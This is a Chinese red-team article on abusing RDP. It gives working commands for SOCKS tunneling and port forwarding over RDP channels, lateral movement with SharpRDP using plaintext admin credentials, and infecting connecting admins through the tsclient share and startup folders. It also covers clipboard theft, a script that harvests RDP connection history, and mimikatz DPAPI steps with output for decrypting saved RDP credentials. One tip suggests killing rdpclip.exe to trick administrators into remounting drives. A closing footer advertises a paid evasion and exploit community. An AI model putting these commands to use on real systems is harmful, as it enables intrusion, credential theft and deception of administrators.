免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
文章正文
当防火墙规则配置为:只有 tcp/udp 3389 端口可以进行通信时,可以利用 RDP 协议,建立 Socks 通道。应用场景较为极端。
工具地址:https://github.com/nccgroup/SocksOverRDP
此工具在 RDP 协议的基础上实现了 Socks 代理功能。就像 SSH 的 -D
参数一样,在连接后,利用 RDP 协议实现代理功能。
该工具包含两个部分:
• .dll
,需要在客户端上进行注册,并在每次运行时将其加载到远程桌面客户端的上下文运行环境中。
• .exe
,它是服务端组件,需要复制到服务器并执行。无需安装,无需配置。
在远程桌面连接的服务器端执行 .exe 时,它会通过动态虚拟通道(RDP 协议的特性)连接回客户端,并在客户端启动 SOCKS 代理。该代理默认情况下侦听 127.0.0.1:1080
,可以在浏览器或工具中将其配置为代理。
信息
服务器上的程序不需要服务器端的任何特殊特权,还允许低特权用户打开虚拟通道并通过连接进行代理。
.dll
需要放置在客户端计算机上的任何目录中,为了方便使用,可以该文件复制到 %SYSROOT%\system32\
或 %SYSROOT%\SysWoW64\
环境变量下。
使用以下命令进行安装注册该 DLL:
regsvr32.exe SocksOverRDP-Plugin.dll
取消注册:
regsvr32.exe /u SocksOverRDP-Plugin.dll
在 RDP Client 中启动 mstsc.exe
时可以看到如下提示:
直接执行:SocksOverRDP-Server.exe
即可
使用场景仍然是:由于防火墙的设置,只能连接一台 Windows 服务器的远程桌面,那么如何以这台 Windows 服务器为跳板进入内网
工具地址:https://github.com/V-E-O/rdp2tcp
工具原理:使用 RDP 虚拟通道功能来复用端口
可用的功能:
• 正向 TCP 端口转发
• 反向 TCP 端口转发
• 处理标准输入/输出转发
• SOCKS5 代理
• 安装 mingw-w64
• apt-get install mingw-w64
• 下载 rdp2tcp
• git clone https://github.com/V-E-O/rdp2tcp.git
• 修改配置文件
• rdp2tcp 默认不支持编译 64 位的 exe,所以这里需要修改配置文件,增加编译 64 位 exe 的配置信息
• 修改文件Makefile
,新的内容如下:
all: client server-mingw64client: client/rdp2tcp
client/rdp2tcp:
make -C client
#server-mingw32: server/rdp2tcp.exe
#server/rdp2tcp.exe:
# make -C server -f Makefile.mingw32
server-mingw64: server/rdp2tcp64.exe
server/rdp2tcp64.exe:
make -C server -f Makefile.mingw64
clean:
make -C client clean
# make -C server -f Makefile.mingw32 clean
make -C server -f Makefile.mingw64 clean
make -C tools clean
新建文件 /server/Makefile.mingw64
,内容如下:
BIN=rdp2tcp64.exe
CC=i686-w64-mingw32-gcc
CFLAGS=-Wall -g \
-D_WIN32_WINNT=0x0501 \
-I../common# -D_WIN32_WINNT=0x0501
# -D_WIN32_WINNT=0x0501 -DDEBUG
LDFLAGS=-lwtsapi32 -lws2_32
OBJS= ../common/iobuf.o \
../common/print.o \
../common/msgparser.o \
../common/nethelper.o \
../common/netaddr.o \
errors.o aio.o events.o \
tunnel.o channel.o process.o commands.o main.o
all: clean_common $(BIN)
clean_common:
$(MAKE) -C ../common clean
$(BIN): $(OBJS)
$(CC) -o [email protected] $(OBJS) $(LDFLAGS)
%.o: %.c
$(CC) $(CFLAGS) -o [email protected] -c $<
clean:
rm -f $(OBJS) $(BIN)
• 编译
• make
• 执行 xfreerdp 并开启 TCP 重定向功能/opt/freerdp-nightly/bin/xfreerdp /v:IP:3389 /u:user /p:passwd /cert-ignore /rdp2tcp:/root/rdp2tcp/client/rdp2tcp
• 将 rdp2tcp64.exe 上传至 RDP Server 并执行(不需要管理员权限)
• 在客户端系统上启动 rdp2tcp.pycd rdp2tcp/tools
python rdp2tcp.py
• 添加正向端口转发(本地 445 -> 192.168.112.129:445)的命令如下:python rdp2tcp.py add forward 127.0.0.1 445 192.168.112.129 445
本节介绍的是如何在不通过 GUI 客户端和 Socks 代理的情况下,基于 RDP 协议进行横向移动。
Windows 下 mstscax.dll 库可以执行任何 RDP 功能,此 DLL 是 Microsoft 终端服务的 ActiveX COM 库。通过利用此 DLL,测试人员可以创建控制台应用程序,该控制台应用程序通过 RDP 执行经过身份验证的远程命令执行,而无需 GUI 客户端或 SOCKS 代理。
• 在 Cobalt Strike 中执行:
• 直接执行命令:
SharpRDP.exe computername=dc01 command=calc username=offense\administrator password=123456
有两种身份验证方法,一种是提供纯文本凭据(如上),另一种是使用受限管理模式的当前用户上下文。受限管理模式是一种 Windows 保护机制,它要求执行网络类型登录而不是交互式登录,即 PTH。
有时在某些情况下,RDP 是执行横向移动技术的首选方法,但使用传统的 RDP 客户端 GUI 可能很困难。因此,可以使用上述方法,将命令执行过程隐藏在 RDP 协议中。
其次,可以在没有系统本地管理特权但对系统拥有 RDP 权限的情况下利用 RDP 进行横向移动,可以利用 BloodHound 进行信息收集。
利用 挂盘监控 + 注入启动项 进行攻击
tsclient 是通过远程桌面连接到远程计算机时,在远程计算机「网上邻居」中出现的一个机器名,实际为远程计算机分配给本机的名称。
通过 ***\\tsclient\盘符
***可以在远程计算机上访问本机。其访问方式类似于使用 smb 进行文件传输,虽然本质上都是 smb 协议,但是使用 tsclient 无需身份认证,因此可以直接将通过预制手段,使用 tsclient 反向感染。
通常情况下,tsclient 的利用思路较为简单,通过文件传输将恶意程序脚本写入用户的启动(startup)文件夹,当机器重启时,就会执行恶意程序脚本。
工具:https://github.com/mdsecactivebreach/RDPInception/
1. mstsc 需要开启驱动器 C 盘,但是默认情况下 mstsc 是不开启磁盘共享功能的。必须要手工开启,如图所示:
1. 当开启 RDP 远程访问时,只有远程登录的用户可以访问 tsclient。其他用户无法访问,包括使用 runas 也无法访问。
虽然限制条件较多,但在实际环境中,很多运维人员为了方便操作,通常会挂载磁盘,因此这一方法并非全然无用,需要根据实际情况判断。猥琐一些的思路:在脚本找不到挂载磁盘的情况下,直接结束 rdpclip.exe 使管理员无法使用剪切板功能,迫使管理员在不清楚原因的状况下,直接重新挂载上磁盘操作。
最后,不同于 smb 上传文件后使用计划任务启动,由于不知道被感染的机器用户身份,因此只能依托于启动项开机自启动。因此,该攻击方式对服务器攻击效果较弱。
除了利用文件传输以外,其实还可以尝试利用剪切板劫持的方法进行反向攻击。
在使用 mstsc 进行远程桌面的时候,会启动一个叫 rdpclip.exe 的进程,该进程的功能是同步服务端与客户端的剪贴板。
而这个进程是一个十分有用的进程,如上文提到的,如果直接结束该进程,那么在服务端(远程机器)上将某些数据拷贝到客户端(本地机器)上时,就会发现剪贴板失效,无法复制。
由于启动该进程时,会自动同步剪切板内容,因此当目标目标机器与其他机器使用 mstsc 建立 RDP 远程连接时,就可以通过读取 rdplicp.exe 进程数据,进行剪贴板窃取,以尽可能地获取更多的信息。
此外,由于该进程是后台运行的,当管理员同时用远程桌面登陆多个服务器,在其中的某一个服务器上进行复制拷贝操作时,会将数据同步到所有服务器的 rdplicp.exe 进程。
在 empire 中有一个 Get-ClipboardContents.ps1,可以用 empire 或者 coablt strike 加载该脚本。或者也可以自己编写相关脚本使用。是一个相对简单的工具。
但是需要注意的是,与 tsclient 类似,同计算机的不同用户之间是无法读取的,每一个用户的 rdplicp.exe 是独立启动的。
当我们用mstsc登陆了一台服务器后,在该服务器上按下复制操作时,会产生一系列操作。
在远程桌面时,使用剪切板传输一个文件的流程如下:
1、在服务器上,“复制"操作会创建格式为 “CF_HDROP” 的剪贴板数据
2、在客户端计算机中执行「粘贴」时,将触发一系列事件
3、要求服务器上的 rdpclip.exe 进程提供剪贴板的内容,并将其转换为 FileGroupDescriptor(Fgd) 剪贴板格式
4、使用 HdropToFgdConverter::AddItemToFgd() 函数,将文件的元数据添加到描述符中
5、完成后,将 Fgd Blob 发送到服务器上的 RDP 服务
6、服务器只是将其包装并将其发送给客户端
7、客户端将其解包并将其存储在自己的剪贴板中
8、「粘贴」事件将发送到当前窗口(例如,explorer.exe)
9、处理事件并从剪贴板读取数据
10、通过 RDP 连接接收文件的内容
• https://github.com/qianshuidewajueji/CVE-2019-0887
• https://github.com/0xedh/mstsc-path-traversal
每次成功连接到远程主机时,RDP 客户端都会保存远程主机的名称(或IP地址)以及用于登陆的用户名。再次启动 mstsc.exe 时,可以直接从列表中选择远程 RDP 服务器的名称,并且客户端已自动填写用于登陆的用户名。
<#
.SYNOPSIS
This script will list the logged-in users' RDP Connections History.
#>
$AllUser = Get-WmiObject -Class Win32_UserAccount
foreach($User in $AllUser)
{
$RegPath = "Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"
Write-Host "User:"$User.Name
Write-Host "SID:"$User.SID
Write-Host "Status:"$User.Status
Try
{
$QueryPath = dir $RegPath -Name -ErrorAction Stop
}
Catch
{
Write-Host "No RDP Connections History"
Write-Host "----------------------------------"
continue
}
foreach($Name in $QueryPath)
{
Try
{
$User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint
Write-Host "User:"$User
Write-Host "Server:"$Name
}
Catch
{
Write-Host "No RDP Connections History"
}
}
Write-Host "----------------------------------"
}
破解 RDP 连接凭证的前提是用户在连接远程主机时勾选了保存保存凭证。
• 查找本地的 Credentialsdir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
• 使用 mimikatz 进行操作mimikatz dpapi::cred /in:C:\Users\by\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {ffc994a1-de8d-4304-9416-31e587f7a8ca}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000030 - 48
szDescription : Local Credential Data algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : 00fed8ca7ec6d44585dd1fbd8b57e77b6ab0cf318ec5d52d09fd0694ffb89ccb
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : b49ef55f909fa503eda37ddc797c83c99df983920bfb4628e07aac5cb32bb530
dwDataLen : 000000b0 - 176
pbData : 4083f8f501b999a35c4aa57ce732bf52d30a6e604dac5a91b6fd3e65660c52a536025c5126f0d12b85044498deef08a8688b3459f49514ed6ae46271a1cb4cd0e70845d9b6beccbcbe85dead0fb7c80b4f7810add87b75c48592fcbfbbfd94fa4eee8004f8cf6d9619ef4b9af643f4c9ef0e8a2a5b0cd00530a5638cfd114fee4b735ac12eef2c7e6a0364845eb0ee4b3ab121e33324f8d5af48f3422bd47a76ab5e9e9e5a1a383e22fff8bf851b6a2a
dwSignLen : 00000040 - 64
pbSign : 7c8dbe7991c6af4d3bfc9f808790a0904738d0ca227bc2ee20ee26cbf06487dd2679e932b27ea0c0cbbe590ee6430641605d7001b2158c8873c5d6a09a9855a8
接下来需要使用的就是 guidMasterKey、pbData 数据。pbData 是凭据的加密数据,guidMasterKey 是凭据的 GUID
• 使用 sekurlsa::dpapi
根据目标凭据 GUID:{ffc994a1-de8d-4304-9416-31e587f7a8ca}
找到其关联的 MasterKey,这个 MasterKey
就是加密凭据的密钥,即解密 pbData
所必须的东西。
• 解密dpapi::cred /in:C:\Users\by\AppData\Local\Microsoft\Credentials\AB07963F1A0A1CB56827E93395597FC6 /masterkey:e01320a53bf9d57da1163c7723a5b3901df5a3fc8e504fc021def2637d19d34c0084a3ac2a0daab3fb9af3f98c48a9a901627dc4b10db087cb357e1d2f8aa18c
- https://research.nccgroup.com/2020/05/06/tool-release-socks-over-rdp/
- https://3gstudent.github.io/3gstudent.github.io/渗透技巧-使用远程桌面协议建立通道/
- https://posts.specterops.io/revisiting-remote-desktop-lateral-movement-8fb905cb46c3
- https://github.com/0xthirteen/SharpRDP
- [利用 mstsc 反向攻击思路整理](https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247492759&idx=1&sn=f6283f0eaa9104f61436a4e15552f2ba&scene=21#wechat_redirect)
- https://research.checkpoint.com/reverse-rdp-attack-code-execution-on-rdp-clients/
- https://paper.seebug.org/1074/
原文链接:
https://www.geekby.site/2021/01/%E7%BA%A2%E8%93%9D%E5%AF%B9%E6%8A%97%E4%B8%ADrdp%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%88%A9%E7%94%A8/
技术交流
知识星球
致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。
涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 200+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。
交流群
关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。
关注我们
关注福利:
回复“app" 获取 app渗透和app抓包教程
回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。
回复“书籍" 获取 网络安全相关经典书籍电子版pdf
往期文章